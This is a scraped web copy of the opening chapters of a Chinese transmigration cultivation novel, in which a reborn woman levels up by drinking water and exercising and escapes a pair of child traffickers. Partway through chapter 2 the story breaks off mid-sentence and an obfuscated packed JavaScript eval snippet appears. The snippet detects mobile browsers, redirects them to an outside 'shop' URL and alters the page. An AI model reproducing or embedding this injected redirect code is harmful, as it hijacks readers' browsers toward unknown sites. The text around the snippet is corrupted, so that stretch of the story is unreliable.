《悄悄喝水惊艳修仙界》 1. 重生 温凌淼睁开眼,一阵令人恶心的恍惚后,她悚然发现周身并非熟悉的ICU病床,而是一口棺材。取代透析仪器运行声的,是巨大的沉寂。 这棺材封得死紧,无论她如何推敲锤打,它自岿然不动。 我这是死了吗,还有,现代不是该流行火葬?温泠淼有些许茫然,而后敏锐察觉到了异样。她动了动指尖,却发现手比记忆中细嫩不少,没了那鏖战高考大学工作的老茧。不死心的她又摸索了一会身上衣物,确定了布料的触感不属于记忆中任何一件。 温泠淼深吸一口气,再合上眼,恍惚中,脑海深处跃出些浮光似的碎片,又看不真切。她越拼命想要抓住些线索,越是头疼难忍。 很快,疼到近乎晕厥的她便放弃了追溯原因,暂且先接受现实。温泠淼感受着这具过于枯瘦柔弱,却生命力充盈异常的身体,不由有些欣喜,难道这就是传说中的重生? 还没等温泠淼为新生高兴多久,就陷入了新的恐荒中。她求救叫得再大声,喊到口干舌燥,都不够打破这恒久的寂静,她拼命敲打踢踹着棺材顶部,只听其上声音闷闷,好似被厚重的土埋着。 她的所有挣扎,都被无情囚困在了这方小小空间里,直到一切动静渐弱,最后重归死寂。 温泠淼心中不由升起一丝荒谬,好像刚重生就要再与世长辞了,还是被渴死在荒山野坟中的那种。 就在她深陷绝望,想着要怎么留下遗言狠狠骂一顿埋坟的人时,一个半透明的面板忽然出现在她眼前,心中暗念着自己是来了什么穿越片场的温泠淼像抓住救命稻草样一字不落地看过去: “恭喜您成功启动饮水升级系统!您的下一等级为练气一层,晋升要求为:连续两天摄入任意形式的水10毫升,今日进度为(0/10) 就算换了个世界,也要记得按时喝水哦~” 等等,这是穿猛了进修仙世界了,还有这哪门子修仙,光靠喝水就能升级?温泠淼警惕地看着面前的系统面板,特别是读到最后一句时,她眼皮子猛猛跳了两下,她百分百确定,这可疑的系统就是故意在揶揄她,因为她清楚记得,上一世自己的死因正是过度加班加之常忘记喝水导致的严重肾功能衰竭。 从名字就能看出,温泠淼五行极度缺水,某种程度上这风水之说也算灵验。若是让为给她取个好名辛苦翻烂三本字典的姥姥知道她的死法,怕是黄泉之下都能气得七窍青烟。 看来是前世不爱喝水导致这一世遭报应了,现在想喝都没水喝,温泠淼自嘲一笑,她对这修仙世界一无所知,就算真给她变出水来晋升练气一层,难道她就能顺利击穿这口棺材和其上压着的层层黄土出去吗? 她狠狠吐了一口气,眼神沉静下来,无论是或不是,她都没有别的选择。任意形式的水吗?那空气中的水蒸气应也算在内。 但就在她辛辛苦苦张嘴喝空气约莫一个时辰后,温泠淼发现,除却口干舌燥的感觉被加剧之外,进度条不见丝毫动静。 难道就算有了喝水都能升级这等超模的金手指,她也要因找不到水而殒命于此吗?温泠淼眼中闪过一丝戾气,不,她绝不能接受这个荒唐的结局,她好不容易获得的第二次生命,谁都别想叫她放下。 她猛锤一把棺材盖子,那板子如她所料,纹丝不动。温泠淼眯起眼睛,忽然,借着系统面板晕开的一丝微光,她目光落在了那双苍白到近乎透明的手上,手背上青色的血管清晰可见。 任意形式的水,只说摄取,没要求净增量,她舔了舔干裂的唇,那么,自己的血液也该可以。 她只思考了不到三息,便把左手放到唇前,闭了眼睛,而后张嘴用了死劲朝大鱼际咬去。剧烈的痛感下是牙齿刺破皮肤扎入血肉的恶心感觉,温泠淼冷静地感受着那温热的血液从肉中渗出,流入口中。 等她再睁开眼,就看到面前的系统面板上的那个数字一点点涨着,1,2,3…不够,还是不够,她狠狠地用牙齿摩擦着血肉,挤压出最后一丝血液,这处榨取完了,她便换下一处。她像是感受不到疼痛般,冷眼对着面板,无声地数着。 等那数字终于涨到十,她才松开了嘴,狠狠吐了一口血沫出来。这时温泠淼才发现,自己额头上已出了一层薄汗。 她侧过头去,不知是因剧痛刺激下的心跳过速,还是终于找到求生之道的如释重负,她大口大口地喘着气。 不知这个世界医疗效果如何,自己惯用手是右手,若因医治不及,给右手落下不可治的病根,才是得不偿失。而她既怕指尖血量太小,又担心手腕若操作不当致大出血就直接再度归天了,于是选了左手上血肉最为丰富的地方下手,看来终归是有用的。她随意扯下衣物一角,将那处狰狞的伤口扎上。难言的阵痛让她睁着眼,入睡不得,但她嘴角却偏偏扯了个极大的弧度,越笑越大,越笑越狂,到最后几乎停不下来。 现在,就只需等待明天了。 在系统面板上那(10/10)的数字又归到0后,温泠淼再度把左手举到面前,这具瘦弱的身躯自愈能力居然还不错,短短几个时辰内,血就已经止住,伤口也覆上了一层薄疤。她闭上眼,用尖尖的虎齿撕开那薄疤,而后又奋力咬下去。 这次她对痛感熟练了些,心跳还算平稳,没有再令人晕眩地过速。她一边换着牙齿的位置,一边看着那数字逐渐迫近10。 可能是由于血液昨天已被榨走了部分,今日进度明显慢了许多。等终于摄入够10毫升血液时,她的手心已是灰白的一片,冰冷到连痛觉都近乎失去了。温泠淼却没空在意,她紧紧盯着系统面板,生怕错过一点变化。 “恭喜您成功完成了第一个晋升任务!您已晋升到练气一层,您的下一等级为练气二层,晋升要求为:连续五天摄入清澈无毒的溪水100毫升,今日进度为(0/100)。” 这就是晋升了?温泠淼狐疑地看着自己毫无变化的身躯,下一刻,她却忽然感知到自己的血脉中凭空多了一股此前完全想象不到的东西。那东西温润,柔和,细弱如涓涓溪流,在她四肢百骸里流淌着,却带了盎然的生机,一点点修复她受损的身体。 不到一刻,她左手上那狰狞的伤疤就不见了,肌肤细嫩如初,而她莫名觉得自己的身体不复此前的虚弱,筋骨中充满了未知的力量。 这就是…小说中的灵力?温泠淼双眼略微睁大,随后大笑一声,她前世拖着病弱的身躯已太久太久,重获力量的感觉让她无比兴奋,她手随心动,狠狠一掌向那棺材盖子击去。 棺材板纹丝不动。 温泠淼面上的狂喜顷刻凝固,她怔怔地收回被震得生疼的手,不应该啊,小说里修道之后不说战斗力有翻天覆地的变化,至少得有些进步才是。 她又狠狠盯向系统面板,像是要把那面板烧出个洞一样,清澈的溪水,这让在棺材里蠕动的她如何变得出来。却在她炽热的目光下,那面板上又徐徐多了一行字。 “恭喜您!成功解锁了新功能:体术训练系统,您的下一等级为练体一层,晋升要求为:今日内进行30次凯格尔训练,今日进度为(0/30) 就算换了个世界,也要记得锻炼盆底肌哦~” 开什么玩笑,温泠淼又一拳锤在棺材盖上,这是什么社畜健康改造计划吗?盆底肌和体术又有什么关系。 但她随即悲哀地发现,系统某种程度上是明智的,因为在这口她只能勉强伸伸手的窄棺材里,盆底肌大概是她唯一能锻炼的肌肉了。 于是在温泠淼冷着脸把三十次凯格尔训练做完时,系统面板又浮现了熟悉的提示: “恭喜您成功完成了第一个体术训练!您已晋升到练体一层,您的下一等级为练体二层,晋升要求为:连续五天进行一百次哑铃飞鸟训练,今日进度为(0/100)。” 温泠淼现在对系统上能跳什么奇怪的东西都差不多麻木了,她懒得去想为什么修仙世界还有哑铃飞鸟以及哑铃要从哪里来。她只盼着折腾 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此刻月明星稀,正值深秋,却因地处极南,草木犹呈青绿,寂静的老林中薄雾蒸起,将巍峨山景遮了大半,只听得见夜行鸟兽走动的簌簌声响,和寒涧击石而下的泠泠水声。就在这幅秀美山夜画卷的正中,忽然如石破天惊般,从山腰上的土堆中蹦出一衣衫褴褛,满身血污,却面容狂喜,状若癫狂的少女。 那土堆前,还竖着一块小小的石碑。 温泠淼的大脑被生的狂喜占据了不过一瞬后,就骤然恢复了冷静。这可是修仙世界,虽然她知之甚少,但山中总该有些猛禽凶兽,若发出些不明智的声响,将它们惊醒吸引过来,可就乐极生悲了。再说,她连这副身躯属于谁,是谁葬的都不知道,万一那人就是要她死呢,那她这副死而复生的样子若被看到,甭管她是否还是身体的原主,结局恐怕都不会太妙。 她小心翼翼地收起声响,将那些棺材板碎片收集起来,埋在了最下面,而后将土堆复回了原位。做完这一切后,温泠淼走向那个石碑。 她不知这具身体的原主人姓甚名谁,尽管脑中泛着些隐约的记忆,但她却记不起零星半点。温泠淼垂下眼,在那碑前蹲下,伸手抚触着上面的刻痕。那刻字极美,她学过些书法,从一些细枝末节可看出其人笔风应是潇洒飘逸的,但现在那字却极为端正,仿佛其人怀着巨大的沉痛般,一笔一画,将之颇为用力地刻下。生怕刻浅了一点,这字迹便会快一些被时光抹去遗忘。 “道侣:凌泠之墓,于星天历一千六百四十五年所立,享年十九岁,渊山宗弟子郁丹臣叩上。” “原来你叫凌泠,那我们可算有缘,说不定你也五行缺水呢。”温泠淼的指尖轻轻擦过那两字,她被自己的说法逗出了淡淡的笑容,而后像是想起了什么沉重的东西,她迅速收了笑,垂着眼呢喃道,“对不起,我无意占用你的身体,只是天意弄人,事既已成,我无可辩驳,也无法弥补。 我只能在此立誓,若你有未完的仇怨,若我能想起,必替你血债血偿;若你有未报的恩情,我必替你以德报德;若你有未了结的情缘,我亦不会代你去安享只属于你的幸福。” 她声音虽轻,却极为果断决绝,有一诺千钧之重。就在她话音刚落之际,温泠淼忽然额角一阵胀痛,某些散落的朦胧记忆,就这般生硬挤入脑海。 在温泠淼终于收拾好思绪,沿着山中唯一一条土道启程下山的时候,天已蒙蒙亮了,浓艳的红日刺破稀薄的云雾,向整个世界昭示它的耀目光辉。温泠淼在一边高兴地赏着朝霞,一边盘算着抵达山脚下一步该做什么时,无意中隔着林海,往那土路尽头望了一眼,而后魂差点被吓飞了一半。 趁那站在登山口低头望向地面的玄衣身影还没注意到自己,温泠淼手脚并用地光速爬回了山上。 虽然只看到了一眼,方才涌入她脑海的原身记忆和这具不属于她的身体都在叫嚣着告诉她那人名字。 凌泠的道侣,亦是葬她之人,郁丹臣。 2. 下山 温泠淼大咧咧地坐在树杈上,一边狠狠啃咬手中的野果,一边望着天发愁。 从坟包里爬出来后,原身的道侣,那个叫郁丹臣的剑修,在山脚下守了整整三天三夜。他身着玄衣,腰悬长剑,却连叶尖新露滴在肩上都不曾动一下,看样子应是在缅怀。 这害得温泠淼抵死不敢下山,硬是在山上靠着吃野果喝溪水到处找哑铃状石头做哑铃飞鸟熬了三天三夜。最可怕的是,这可是科技文明极度不发达的修仙世界,她又没到能辟谷的时候,每每上完厕所,她忍痛掏出又一枚粗糙树叶的瞬间,都前所未有地怀念着蓝星。都怪这郁丹臣,她好端端的一个现代人,快要在这山里被同化成野人了。 没办法,她探测不到郁丹臣的修为,也不知他能隔着多远发现自己。只得在山上像猴一样东躲西藏,偶尔占着地形优势,远远地往山下望一眼,见他还在后又飞速缩回去。她又不确定这山中哪里最险,不敢离开这土路附近轻举妄动。于是便只能被堵在这。 还好她大学时闲得无聊上了门野外求生课,且这世界的植物物种同蓝星高度相似。不然她不知要饿死在哪个犄角旮旯里了。温泠淼咀嚼着被她标记为无毒的野果,有一搭没一搭地想着。 不可否认,她最开始也怀疑过凌泠是否为郁丹臣所杀,毕竟这样的事无论在什么社会,都发生得多了。 然而这具身体像是察觉到了她之所想,急于给郁丹臣辩驳般,拼了命地给她塞之前的回忆。现在温泠淼东拼西凑地知道了,凌泠原是重病缠身,而郁丹臣为照顾她,从宗门不告而别,同她在凡间相守一年有余,期间也想尽无数办法。只可惜命数从不独偏爱谁,他纵是百般付出,也未能挽留凌泠离去的步伐,最后只能将她收殓,葬于玉青山上。 你小子也不知埋浅一点,温泠淼看着被浓密林叶遮住的山脚,有些愤恨地想到。不过她心中也对郁丹臣升了几分敬意。 重情重义,明知不可以而为之,该是个极好的人,可惜命运偏不会让好人如愿。 等到第四天早上,温泠淼再小心翼翼从她好不容易找到的隐蔽点位向下望去时,往日那一动不动的挺拔身影消失了。 温泠淼坐在树顶上,向着那路去往的地方遥遥挥手,在心中道别道,“小伙子拜拜,大陆最大宗门的大师兄,先天极品金木双灵根的大天才,祝你未来好运。” “多谢你这几日的情义,可我不是她,凌泠已走,若再和我这个‘无灵根’凡人有牵扯,必是件你我都不愿看到的事。” “情我报不了,义总归能偿还一二,若未来我们能再见,我温泠淼必会助你一次。” “但你是天之骄子,也许永远用不着这帮助。” 而后,她无事一身轻地跳下树杈,这下她终于可以安心下山了。说来也怪,这些天她小心翼翼地探了不少地方,却发现这幽谧的山中没有一丝猛兽的踪迹,好像大型兽类都灭绝了一样。她对这诡异的安宁深感不安,却迟迟下山不得,只能找了处满足系统条件的清澈溪流且警惕且喝水。 说起来,今天是出坟第四日,再有一日,她就能把练气和练体之道都升至第二层了。 她蹲在溪边,边完成今日的喝水任务,边让思绪飘着,不知为何又想到了这二人。凌泠是无灵根的凡人,这在修仙界地位天差地别的二人间能有一段深重的情缘,必然共享着极为动人的过去。但原身的记忆迟迟无法渡过来,她也没什么八卦的余力。 她现在的首要任务是活下去,活的好一点,若有可能,她还希望能找到回家的办法。 虽然温泠淼喝水就能涨修为,还涨得不慢。但她无意再与原身这位深情的道侣产生任何纠葛,原身对她的恩惠已经快偿还不完了,她不想伪装凌泠再去占其一丝一毫的便宜。再者,任何看到自己爱人的尸身被他人占据的人,都不会对寄宿者产生好的情感。那郁丹臣对凌泠又是如此执着,不敢想象若是被发现了,迎接她的会是怎样的后果。 总之,她现在还打不过他,对上这个男人,还是先逃为妙。 不过,她这几天隐隐地觉得,凌泠就算了,郁丹臣这个名字,她总有些细微的印象。这印象并非来自原身,而是自己从蓝星带来的记忆,但她想破脑袋都记不起来是在哪听到过这三字。 罢了,先不想这么多,没准是同名呢,温泠淼用冷冽的山涧水拍了拍脸,不过她也很好奇,能修炼的自己,到底是属于什么灵根,喝那么多水,总该是水灵根吧,要不然按五行缺水来看,火灵根也极有可能。 第二天,朝阳方才刺破薄雾时,温泠淼便下了山。她脚步比起之前轻快了不少,一看就是修为有了不小的长进。她面前系统面板上的任务也换成了“连续十天摄入清澈无毒的井水200毫升。”和“连续十天进行二百次卷腹训练。” 温泠淼忍不住想,按照这个速度递增下去,她总有一天会喝成水牛,顺手练成健身圣体。 进入练气二层后,她最明显的感觉是血脉中流淌的灵力变磅礴了不少,若说此前的灵力是涓涓小溪,如今便是小有规模的河流,温柔地冲刷着她的身体。而灵力运转的速度也小有变快,原先运转一个周天需半个时辰,如今却只要三刻了。 而练体二层带给她的收获则更明显,她右掌处的灵穴被激活了。虽然她猜测右臂与右掌的灵穴合起来,应是给驱使武器准备的,但她目前还没找到趁手的武器,暂时悟不到其中关窍。只能拿来练点指尖功夫,比如一指禅,弹指神功。 她给那一掌起名为凯格尔掌,一指赐名为飞鸟指。主打就是一个欺负修仙界土著不懂健身。 温泠淼沿着那细细的土路向前走去,期盼着能碰上一两个人类城池村庄。既然任务需要清澈无毒的井水,那找到人类聚居地就是必要的事。虽然她也可以徒手钻井,但总归要麻烦的多。 况且,她现在跟野人真没什么差别,对这个世界一无所知。修仙到底有几个境界,练气有几层,有没有剑技功法一类的东西,传说中的御剑飞行是否存在,这些问题的答案她一概不知,至今为止,关于修炼的一切都是她从系统的只言片语那摸索的,而这系统看着也是脑子不太灵光的样子,除了布置新任务,无论她怎么戳都不动弹。 看来她得找个学堂或者宗门给自己补上缺失的修仙义务教育,然后躺着按时喝水就行。温泠淼开始畅想美好的咸鱼未来。 但她的计划在一开始就因忽略了一个重要因素而惨遭折戟:她没有钱。 就在她沿着土路走了一个多时辰后,温泠淼终于见到了山脉底部那路面平阔,车马来往频繁的大道。但每当她伸手想要招过路的马车来载她一程,往往却只能吃到马蹄下扬起的尘灰。 温泠淼吃了第四口尘灰后,终于有一辆看着像商队的马车在她面前停了下来。那驾车的镖人收鞭下马,上下打量了满面黄泥,形容潦草,还浑身斑斑血污的她一遍,只问了一句,“你愿交多少钱?” “钱?我没有钱。”温泠淼这下有些愣住了,她真是野人当久了,忘了无论在什么社会,一般等价物都有着无与伦比的重要性。她微微苦笑了下,刚从坟里爬出来的她称得上是一贫如洗。甚至,她还不知道这个世界的货币体系是什么样的。 “哼,没钱还拦车,真当我云海阁是做慈善的?乞讨好歹也换个地方吧。”镖人得了意料之中的答案,冷哼一声,不再看她,翻身上了马,扬鞭就走。 “哎!”还没等温泠淼问出最近的城池在哪,那马车已经驶远了,她又吃了一口灰。 却没想到,那远去的马车厢里忽然传出了一年轻男子的声音,不知为何,那声音极具穿透性,径直击入她耳中。 “对不住了姑娘,我们有急事无法捎你一程,这莽豫关附近危险,姑娘多保重。” 温泠淼目光微凝,她感受到了这道声音中隐含的雄浑灵气,这应就是修士的传音了,她还是第一次见,也不知要如何才能使用。 只是她摸不准这人的意思,看似是好意提醒危险,却不愿捎她一程,说着有急事,却又停下问她要钱才可接载。 这什么云海阁的人真是有趣,有趣到让人想把他从那马车里揪出来狠狠揍上一顿。温泠淼收起思绪,不再多想。没钱求不了别人,总归还能求诸自己。她步入练气二层后,虽然仍需进食排泄,生理需求却大大降低,再加上她识些草木野果,倒也不至于活不下去,双腿赶路虽慢,沿着这大路走下去,总能看到人烟不是。 到底什么时候才能真正辟谷啊,温泠淼一边步伐如飞,一边心中长叹,没有厕纸的世界,真是活不下去了。 至于那人语焉不详的危险,她没半点头绪,只能时刻运着灵力提高警惕,若真发生些什么,她就以最快速度激活右壁和右掌的灵穴,以她越发熟练的凯格尔掌和飞鸟指搏一线生机。 在她没日没夜地走了两天后,危险迟迟没到来,村庄却先被她赶到了。温泠淼看到那山林中袅袅升起的炊烟后,眼眶都差点红了。 她这两天卷腹没闲着,井水却被无奈搁下。温泠淼计划得好,若到了村庄,能进有口井水的人家做点工换住所,她的喝水大计就指日可待。 原来喝水就能修炼这等好事,也能被她走得无比艰难。 意料之外的是,这次比找顺风车要顺利得多。那村庄不大,统共五六户人家,在温泠淼厚着脸皮敲开第二户人家的门后,她就受到了主人热情的招待。 这户人家建在山腰稍平坦处,院落不小,木质的小楼起了三层。却只有男女两位主人在住。院中还放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413778|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一口井,井水清澈沉静。 在温泠淼假装口渴求来了一碗井水后,她先隐蔽地用小指蘸了蘸,而后一口饮下,这次,两日未动的练气进度条终于满了一回。她满意地打了个饱嗝。 听闻温泠淼暂住的来意,两位户主人颇为欣喜,拉着她的手直把她往屋里带。说即日起这院落打扫的事务就交给她了,还给她收拾了个整洁的小房间。女主人甚至备好了衣服,烧了水催她去洗一洗。 摆脱野人生涯的温泠淼向二位户主连连道谢,自然,笑意盈盈的她没有错过在看她洗浴干净,换上麻布衣服出来时,男女主人装作无意对视,眼中一闪而过的惊喜暗光。 夜晚,她将原身那衣服折叠整齐后,用野草细长柔韧的茎叶细心捆好。这毕竟是原身留下的唯二两件物品,她又是个有点念旧的人。带着又不麻烦,她实在舍不得丢弃。 还有一件,便是原身一直佩在胸前的玉佩。就算是对珠宝一窍不通的她,也能通过那斑驳的色彩看出其品级不高。能被原身这般带入墓里,该是有着特殊的意义。 第二日,温泠淼睡了两个时辰起来后,先做了二百个卷腹,而后极为自觉地拿起扫帚,开始打扫院落。 男女主人睡醒后,先是热情地给她又打了一碗井水,而后男主人烧柴火,女主人备早饭,一副琴瑟和鸣样子。 温泠淼坐在院中石凳上,看了手中那碗极为清澈的水一眼,还是用小指蘸了点尝,一样的清冽甘甜,但她眼前的系统面板上那个进度条,却并未同昨日一样,从0变化到1。 清澈,井水。那么缺的就是无毒了。 她又抬头望着正在厨房忙碌的男女主人,露出了个细微的笑容,而后将那一整碗水隐蔽地倒进土里。纵使她摄入量极少,此时却仍然有些不适的眩晕感,她将计就计地眼睛一闭,倒在地上,装作晕了过去。 而后她听到两道匆匆赶来的脚步声,男女主人欣喜若狂地围在她身边用方言交流着,她只隐约听得懂“小姑娘…真俊…王麻子…好价钱”几词,而后这具身体就被两人一前一后抬进了一间隐蔽的柴火房。 她感知不到这二位户主的灵力波动,要么是修为高得惊人,要么就是没有灵力的凡人。若是前者,她温泠淼再怎么样都得栽了,而若是后者… 她猛然睁开了双眼,右臂,右掌灵穴亮起,灵力瞬间到位,一掌拍在正背着她蹲下找合适麻绳的男主人背上,硬生生承受了凯格斯掌强悍的力劲,男主人一口鲜血直接喷了出来,而后倒在地上晕了过去。 女主人见这一幕,双腿一软,跪倒在地,止不住地颤抖着。就连那始作俑者从她丈夫手上抽走麻绳,将他俩一起捆成了麻花,都没有再多反应。 “我说是怎么个危险法,原来是这样。真是民风淳朴啊。”温泠淼小声嘀咕着,而后缓缓迫近还算清醒着的女主人,冷冷一笑说,“想把我卖个好价钱?” “不…不,大人你误会了,我们…小的只是瞧见大人您昏倒在地,急着想要叫赤脚医生啊,修士大人您大人有大量,绕小的一命…小的,小的未来必会…”女主人脸上挤出谄媚的笑,为自己辩解道,她被麻绳捆在背后的双手拼命摩擦,却死活睁不开。 “还在说谎?”温泠淼两指饶有兴致地捏住男主人的下巴,而后灵力汇聚,轻而易举就将两指间的骨头碾了个粉碎,那男人痛哼一声,又昏厥了过去。“不要以为我的耐心是无限的。这样吧,我问,你来答。” “不不不…不要杀我。我,我什么我都说。”女人在见到了温泠淼的残暴行径后脸色骤然发白,手上的动作都为之一滞,又见少女那恶魔样笑着的脸离自己越靠越近,自己还动弹不得,不由抖成了筛糠连连求饶。 “这里叫什么。”温泠淼的第一个问题有些出人意料,女人愣住了,又被她冷冷看过来的目光激了一下,赶忙磕磕巴巴地答到。“答大…大大大人,这里是莽村。” 莽村,该是莽豫关的一部分,看来女人回答得还算老实。她眼中眸光闪烁,又问了第二个问题。“离这里最近的大城池叫什么。” 女人这次自觉了不少,不用她提醒,就倒豆子般一股脑说了出来。“那要看大人您问的是多大的城池了,这莽村离停云县最近,可若大人想要去十万人以上的大城,那便是离这向西五百里远的第一城了。第一城之外,向北一千二百里还有一座第三城。” 第一城,第三城,这两个名字怎么有些耳熟,温泠淼仔细咀嚼着,忽然脑中灵光一闪,她好像知道这些天她若有若无的熟悉感来自什么地方了。 在她还算丰富的网文阅读生涯里,只有一部作品会给城池起如此敷衍的名字,而她现在想起那本小说还会恨的牙痒痒。 看来,她不仅穿越,还是穿书了。 3. 进城 温泠淼终于意识到了,她是穿进了一本名为《末世倒计时四十年》的书里,这书她最后一次看,还是在三年前,细节都忘得差不多了,只记得讲的是一个末世将近,女主携男主合力拯救修仙界的俗套故事。 大致内容是女主谢星君意外获天道预言,知大灾厄将至,此时距盛世崩毁,灵气枯竭,魔族欲炼天地生灵以证魔道,不过短短四十年。于是女主在所剩无几的时间下争分夺秒地成长和布局。 而后是一系列传统的秘境探险,宗门大比,四方诛魔等情节,谢星君凭借绝顶的天赋运势,逐渐崭露头角,同时也被暗中催动灾厄的魔族盯上,陷入了疯狂的剿杀之中。但她大智大勇,极善刀尖起舞,在危险中亦极速晋升蜕变着。 然后,这本小说腰斩跑路了。此时距离末世,只剩十年。 温泠淼当时看到这,心情那叫一个抓心挠肝。这书情节虽俗,但对谢星君的塑造却颇得她喜欢,因此虽然它一直不温不火,她也真情实感地从开文追到跑路,其间更是留下长评鼓励无数。 而后她便被狠狠背刺了,到现在,那些热情付出已成了她的赛博案底,想起来还会恨得牙痒痒。 没想到是给她穿进了这本里,早知道当时就多看几遍了,温泠淼没好心情地微微垂眼,这涌入的信息没带给她几分确定感,反倒冷不丁将她打入一片茫然,穿书了,然后呢?末日将至又如何,她不是龙傲天主角,也没多少心系天下的胸怀,救世这样的大任更是八竿子打不着。这修仙界苍生,说到底不过书中一墨罢了,自己能活下去并且还算滋润才是要义。 她这条咸鱼,修炼不过出于自保与好奇,并对在这条弱肉强食链上越爬越高,手握随心所欲踩他人头的威权兴致缺缺。天地生灵尽毁听着固然揪心,但若她修为不高,几十年过,早成了个耄耋老太,指不定先一步回了坟墓里,到时人间再如何天翻地覆,也翻不过她的棺材板。 真的吗,要接受这样的结局吗,自己真的没有遗憾和欲望吗。她垂下的手缓缓攥成了拳,不知为何,想到此,她心中升起些许不甘,忽然,她唇角扯开了个笑容,也许是有的。 那就是成为她执念的厕纸,还有背后的文明。 她陡然发现,抱怨厕纸只是一个幌子,究其根本,是自己好像从未认同过这个世界,虽然奇异的灵力,强大的体术,强者在弱者面前生杀予夺的特权让人迷醉,就像她现在对那两人一样,但这些摄人心魄的东西背后是人与实力绑定,被天赋决定的价值,今日她能对人如此,安之明日自己不是鱼肉? 这几日来,她尝试过让自己喜欢这个世界,但到底还是难以做到。毕竟她出生异世,价值认同与那个世界的秩序息息相关。 她没有自大到觉得可以改变一切,但也许她能选择离开。 温泠淼忽然觉得,自己在这朝不保夕的求生几日中一直刻意逃避的某个问题,好似一下被想通了,她唇角的笑越展越大。若她没记错的话,《末世倒计时四十年》是传统修仙背景,实力分为练气,筑基,金丹,元婴,化神,渡劫,飞升七阶,据那书中所说,修士得道飞升后,将拥有一剑劈裂时空河川,来往万千世界的权能。届时重返异界,也许并非难事。甚至,还有望回到那具熟悉的身体,若是能回溯到病情急转直下前就好了,她保证用不着系统提醒,每天按时喝水。 这太过美好的畅想让她有些怅然,渐渐收了笑意。她在蓝星虽早没了父母,自小抚养她的姥姥也先一步离她而去,但她有无法忘记的挚友,支撑她一路走来的师长,与她同生共卷的同事,刚投了雷还没追完的书,一言蔽之,那是太多太多放不下的遗憾。 我要回家。温泠淼阖上眼,在心中默念着,得到新的生命固然令她欣喜,但蓝星的记忆无时无刻不在提醒着她不过是这方土地的异客。若给她得了一点微末的,回去的希望,就如飞蛾见火,再无法放弃。 我要飞升,我要回家。温泠淼又念一遍,她猛然睁眼,眸中是前所未有的坚定。目标已定,接下来的路就好从头计划了。 谢星君得天道预言时年约五十,而书中谢郁二人又年岁相仿,若郁丹臣和凌泠年纪相差不大,如今他该是才及冠。如此,距离末世,她还剩七十年的时间。 温泠淼冷静地算着,虽然喝水系统在手,她却没把握在这短短七十年内一举飞升。毕竟根据她这些天的观察,系统派发的任务难度和所需时间都在逐步递增,她尚且无法预估自己在时限前能做到哪一步。 那么现在,末世便成了必须面对的课题,她和这修仙界也算捆在一条船上了。虽然她和谢星君是两路人,没那兼济天下的决心,能力不大,只够看好眼前的一亩三分地,但若灾厄降临,灵气枯竭,她也就失去了回家的希望。 嗨女主角,我们合作一下怎样,你救世,我回家。温泠淼心中不知为何冒出了一句话,再想到那画面,自己都险些被逗笑了。 谢星君和她,向来是有着天渊之别。从第三城辖域下一小宗门漱玉一步步成长为绝世强者的女主角,身负变异水灵根与先天剑骨,曾创下十日筑基的传说,天赋之强势让出身大宗门的郁丹臣都要弱上三分。更可贵的是她绝佳的心性,独立,坚韧,又怀着有锋芒的善良与一往无前的赤诚,是温泠淼自觉一辈子都无法成为的那类人,读者时期的她数次为谢星君泪盈眼眶。至于她的原身凌泠,小说中甚至没出现过半点介绍。仅有的相关描述是作者介绍郁丹臣这个戏份不多的配角时提的一句他早年丧偶,也怪不得她前些天没能想到这些。 这个默默无闻的小人物跟在谢星君身后做一条咸鱼,暗中推动局势,助她成为救世英雄后飞升离去,真是再好不过的计划。温泠淼满意地眯起眼,反正她喝水都能晋升,不会和女主角抢机缘,而她的目标只有回家,未来若真发生了什么天塌下来的事,还能让自己培养出的高个子顶着。 而若要和谢星君产生交集,就得先前往第三城,打听进入漱玉宗的门道。 想到此,温泠淼好像才记起来这屋里还有两个碍眼的人,她冷淡的目光落在女人脸上。 见温泠淼从诡异的神色变幻中回过神来,女人一个激灵,绝望之中大叫道。“你…你不能杀我,我上头可是有着第三城琉璃楼的王麻子,他…他可是练气五层修士,我给琉璃楼交货多年,若他知道我被你杀了,绝对会把你扒皮抽筋!” “谁说我要杀你了,”温泠淼淡淡道,女人刚松懈下来一瞬,却又在听她温柔地吐出下句话后如坠冰窖,“你们不是自己上山砍柴,路遇野兽,一个不小心…” 理解了她未吐出的词句的意味后,女人惨烈地尖叫着。 “你有点吵了。”温泠淼有些厌烦地说了一句,而后伸了右手,把给男主人的一套在她身上复刻了一遍。 那小小柴房中的动静终于弱了下去。温泠淼不再看他们,扫视四周,这次却发现了不少其他孩童的痕迹,甚至在角落里还藏了一只沾了血迹的绣花鞋子。 她脸色一下极为难看。 温泠淼将二人提去山上处理后,又在这院落里待了几天,守着那口井将练气和练体都升到了第三层。而后将这屋里搜刮了个干净彻底,趁着一个月色朦胧的夜晚,她偷偷溜出了村落。 说来也怪,这莽村中人好像各有各的勾当,又互不窥探打扰,她这几天已经做好了被村邻发现后逃跑的准备,却从未见有人上门拜访屋主,也无人对村中忽然少了两人的踪迹而感到异常。 罢了,少一事总是好的,温泠淼边喝着下一次晋升要求的茶水边赶路,她虽不是睚眦必报的人,却也知看两户主熟练的手法和柴房中的痕迹,这事必已不是第一次,他二人手上已不知断送了多少人的性命与未来,如今栽在她这,只能说是死有余辜。 作为一个法治社会出身的现代人,她虽下手冷静,心中却也并非没有犹豫,但她也从前世的阅读中明白,在一个没有律法约束,奉实力和暴力为先的修仙世界,斩草除根就是最明智的做法,若实力倒转,那天倒下的便是她了。 至于王麻子,温泠淼从没有奢望过两户主真能与世隔绝,谁知道那什么琉璃楼的人什么时候会发现这处供货商的异常。事情终究是藏不住的,她要做的,就是在被发现前靠着喝水提升实力,最好能先下手为强。 只有实力,才是她唯一的倚杖。 接下来的几日,温泠淼靠着从屋里摸出的银子,终于坐上了商队去往第三城的马车。等她终于不再被马车甩一脸尘灰,而是坐在车里喝着刚泡好的热茶时,眼泪又差点掉了出来。 还是打家劫舍来钱快啊,温泠淼热泪盈眶。 - 与此同时,渊山宗下,名为思过崖的绝壁高有千仞,直入云海。 其上苍松翠柏相缀,偶有飞鸟隐约的叫声,纵使是枯水的 